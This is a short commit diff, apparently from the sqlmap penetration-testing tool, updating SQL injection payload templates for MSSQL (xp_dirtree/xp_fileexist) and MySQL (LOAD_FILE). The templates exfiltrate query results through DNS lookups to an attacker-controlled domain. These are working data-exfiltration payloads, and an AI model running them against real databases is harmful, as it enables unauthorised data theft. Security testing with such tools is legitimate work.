minor update

This commit is contained in:
Miroslav Stampar 2012-04-07 14:14:26 +00:00
parent 8c6eb4faa9
commit 698b7a15d9
2 changed files with 3 additions and 3 deletions

View File

@ -1,4 +1,4 @@
DECLARE @host varchar(1024);
SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';
EXEC('master..xp_dirtree "\\'+@host+'\%PREFIX%%SUFFIX%"')
# or EXEC('master..xp_fileexist "\\'+@host+'\%PREFIX%%SUFFIX%"')
EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"')
# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"')

View File

@ -1 +1 @@
SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%PREFIX%%SUFFIX%'))
SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%'))